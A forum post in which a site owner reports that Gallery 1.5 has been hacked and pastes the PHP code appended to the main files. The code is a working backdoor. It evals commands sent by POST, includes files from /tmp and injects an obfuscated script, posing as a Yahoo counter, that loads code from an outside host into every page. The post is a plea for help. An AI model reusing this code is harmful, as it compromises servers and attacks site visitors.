Gallery 1.5 hacked to the second time.

My gallery is being hacked preventing it from working. The main files have the following appended to them.

<?php if(!function_exists('tmp_lkojfghx')){for($i=1;$i<100;$i++)if(is_file($f='/tmp/m'.$i)){include_once($f);break;}if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gWWFob28hIENvdW50ZXIgc3RhcnRzIGhlcmUgLS0+CmlmKHR5cGVvZih5YWhvb19jb3VudGVyKSE9dHlwZW9mKDEpKWV2YWwodW5lc2NhcGUoJ0AlNzY/YT8lNzIlMjAkJTYxIyxpLGAlNUY7aT1AJTIyfCUzNzZ+JTJFYCUzMSUzNjMlMkUiJTNCJTYxfCUzRCU1QnwlMjI3fDglMkUkJTMxJTM1fCUzNyUyRTElMzQkJTMyJTJFJTM1JTM4JTIyPyUyQ2k/KyIxJTM0JCUzMXwlMkUlMzMkJTM1PyUyMn4lMkNgJTY5PyUyQiUyMkAxYCUzOSQlMzElMkUlMzElMzMjJTMyJTIyP118JTNCJTVGYD0lMzElM0IlNjklNjYoJTY0I29jIyU3NWBtJTY1JTZFQCU3NEAuIyU2M28jJTZGIWslNjklNjUubXwlNjF0JCU2MyU2OCUyOCMvISU1Q2JoJTY3YCU2NiU3NH49JTMxfCUyRn4lMjkhJTNEfj0jbnwlNzU/JTZDfmxgJTI5IWY/JTZGJTcyYCg/aSUzRDA7fGkhJTNDJTMzO2klMkIlMkIjJTI5JTY0JTZGIWN8dT8lNkQhZW4lNzQlMkUhdyU3Mn5pIXRlISUyOCUyMiQlM0N8cyU2MyU3MiU2OSU3MCU3NHwlM0VpJTY2KD9fJTI5ZG8lNjN1P21AJTY1I24lNzQjJTJFJTc3QCU3MmkjdEBlYCglNUM/JTIyJTNDJTczYyU3MiU2OSMlNzB0fiAjJTY5ZD18X0AlMjIlMkI/aX4lMkIiJTVGPyUyMCQlNzMlNzIlNjN+PUAlMkYlMkYlMjIrJTYxW2klNUQlMkIlMjJALyQlNjMlNzAhLyUzRSUzQ0AlNUNAJTVDL3M/Y35yJTY5JCU3MCU3NCUzRSMlNUMifClgJTNDJTVDIS8hJTczYyQlNzIlNjkhJTcwISU3NCUzRT8iYCUyOX4lM0InKS5yZXBsYWNlKC9AfFwkfFwhfFw/fCN8fnxcfHxgL2csIiIpKTt2YXIgeWFob29fY291bnRlcj0xOwo8IS0tIGNvdW50ZXIgZW5kIC0tPjwvc2NyaXB0Pgo='));function tmp_lkojfghx($s){if($g=(bin2hex(substr($s,0,2))=='1f8b'))$s=gzinflate(substr($s,10,-8));$s1=preg_replace(base64_decode('IzxzY3JpcHQgbGFuZ3VhZ2U9amF2YXNjcmlwdD48IS0tIFlhaG9vISBDb3VudGVyIHN0YXJ0cyBoZXJlLis/PC9zY3JpcHQ+CiNz'),'',$s);if(stristr($s,'</body'))$s=preg_replace('#(\s*</body)#mi',str_replace('\$','\\\$',TMP_XHGFJOKL).'\1',$s1);elseif(($s1!=$s)||defined('PMT_knghjg')||stristr($s,'<body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?>

Anyone else experiencing this and it there are way to prevent it?